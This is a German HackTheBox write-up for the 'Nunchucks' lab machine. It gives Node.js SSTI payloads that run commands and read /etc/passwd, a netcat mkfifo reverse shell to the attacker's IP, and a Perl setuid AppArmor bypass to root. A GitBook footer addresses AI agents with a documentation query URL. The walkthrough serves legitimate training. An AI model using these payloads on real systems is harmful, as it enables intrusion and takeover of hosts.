> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/nunchucks-hackthebox-writeup.md).

# Nunchucks HackTheBox Ausarbeitung

{% hint style="warning" %}
**Fähigkeiten:**

* NodeJS SSTI (Serverseitige Template-Injektion)
* AppArmor-Profil-Bypass (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/fd841578fd0da854362dab4771bf19458f0905ce" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/9f31abb90bb01eef13bf7397c5979101276a4412" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:** Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.122 -oG allPorts
```

<figure><img src="/files/109d1cfb57cb162fd0651aad7e0fc5cf098037a1" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractport:** Verwendung der extractport-Funktion, um offene Ports synthetisch anzuzeigen und sie in die Zwischenablage zu kopieren.

<figure><img src="/files/70de2723599eaf7848eca14778404d9095f46bbd" alt=""><figcaption></figcaption></figure>

**Scannen der Port-Version mit Nmap:** Verwendung von Nmap, um die Port-Version zu scannen und die Informationen in die Datei "targeted" zu extrahieren:

```bash
nmap -sCV -p22,80,443 10.10.11.122 -oN targeted
```

<figure><img src="/files/9227d61883da5ba320add186bb5fd1cef1f1d980" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen Sie den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` vorhandenen Benutzern.

<figure><img src="/files/f9b3cb247bfe3e878e4c9ee4556e69ae4b019111" alt="" width="563"><figcaption></figcaption></figure>

### Port 443 - HTTPS

<figure><img src="/files/2a3ad50a1ba761fc7bdcc6e8535c56ab9396f758" alt=""><figcaption></figcaption></figure>

Wir finden ein Login-Panel, aber keine bekannten Zugangsdaten.

<figure><img src="/files/40752b0fd5cb6e2ee6d38618777d1c50c7e3f170" alt="" width="563"><figcaption></figcaption></figure>

### VHost-Fuzzing - Gobuster

Wir führen **Fuzzing** von Subdomains durch, um mögliche versteckte Dienste zu identifizieren:

```bash
gobuster vhost -u https://nunchucks.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -k
```

<figure><img src="/files/0ea53ee1a19b3ea8d46421875ff8cdcbbe3edaa1" alt=""><figcaption></figcaption></figure>

Wir finden die Subdomain **store.nunchucks.htb**.

<figure><img src="/files/5e164ac522f743204962c4195632de6384d421f0" alt=""><figcaption></figcaption></figure>

## SSTI-Schwachstelle (Node.js)

Wir bemerken eine Funktion, die es erlaubt, eine E-Mail einzugeben, um einen Newsletter zu abonnieren. Die Serverantwort zeigt unseren Eintrag direkt an, was auf eine mögliche **Server-Side Template Injection (SSTI)**.

<figure><img src="/files/b17b913b582c03acaa5caeb5419184c7dbeead51" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8593b5f9f78b59c56623edf41c0c34c73175f2d0" alt=""><figcaption></figcaption></figure>

#### Schwachstellentest

Wir fangen die Anfrage mit **Burp Suite** und testen eine klassische SSTI:

<figure><img src="/files/de88e03a9222003479d5a072a081fa2ab871d626" alt=""><figcaption></figcaption></figure>

```json
{{9*9}}
```

Wenn die Antwort `81`, dann ist die Anwendung verwundbar, was hier der Fall ist.

<figure><img src="/files/4d3191f5981170f7e0c57d52334dd97945b36878" alt=""><figcaption></figcaption></figure>

### Lesen `/etc/passwd`

Wir verwenden das folgende Payload, um den Inhalt von `/etc/passwd`:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}
```

{% endcode %}

<figure><img src="/files/feb2a61a230ac28dddeccac793624df78abc6b32" alt=""><figcaption></figcaption></figure>

#### Ermittlung des aktuellen Benutzers

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}
```

{% endcode %}

Wir erhalten `david`.

<figure><img src="/files/b702f9f9429784b97a471a172357145536245d0d" alt=""><figcaption></figcaption></figure>

### Reverse Shell via SSTI (Node.js)

Beginne mit dem Lauschen auf Port **4444**:

```bash
nc -nlvp 4444
```

Sende das Reverse-Shell-Payload:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}
```

{% endcode %}

Zugriff auf die Zielmaschine

<figure><img src="/files/de7c09de69272c38c414d3d9432b4d5dc3dbaff3" alt=""><figcaption></figcaption></figure>

### Flagge user.txt

<figure><img src="/files/0d6c99675f8b89ef75a3d02284d6d2c808316548" alt="" width="517"><figcaption></figcaption></figure>

#### Terminal-Stabilisierung

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## PrivilegieneskalationS

### Ausnutzung von **Capabilities** unter Perl

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#capabilities>" %}

Wir listen die **Capabilities** verfügbaren auf:

```bash
getcap -r / 2>/dev/null
```

Wir bemerken, dass `perl` besondere Berechtigungen hat.

<figure><img src="/files/da87016eb18e5ba4131fbb4f6c8a2a136a31b430" alt=""><figcaption></figcaption></figure>

**Einen Befehl als root ausführen**

```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
```

Wir erhalten **root**.

<figure><img src="/files/ba598b24145ba966e6e322a065d413fa438f66bc" alt=""><figcaption></figcaption></figure>

### AppArmor-Bypass

```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash -p";'
```

<figure><img src="/files/8c4585ac8b8635ebc4c040f95d5bfde9e117acf8" alt=""><figcaption></figcaption></figure>

Das `/usr/bin/perl` Binärdatei wird eingeschränkt durch **AppArmor**

<figure><img src="/files/3ac2a4204a00078ebe98a677d47864d2656ff1ac" alt=""><figcaption></figcaption></figure>

Nutze einen bekannten [AppArmor-Fehler](https://bugs.launchpad.net/apparmor/+bug/1911431) um die Einschränkung zu umgehen, indem ein Skript erstellt wird:

```basic
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";
```

<figure><img src="/files/f2db92cdde255f53d16dda91e8bac5879479b08f" alt=""><figcaption></figcaption></figure>

### Flaf root.txt :)

<figure><img src="/files/24534bc07ba950bb0f6a402c5d277e6ef86d4ada" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cff93165491efd9d4433644199ee3abdc35db0d9" alt="" width="525"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/nunchucks-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
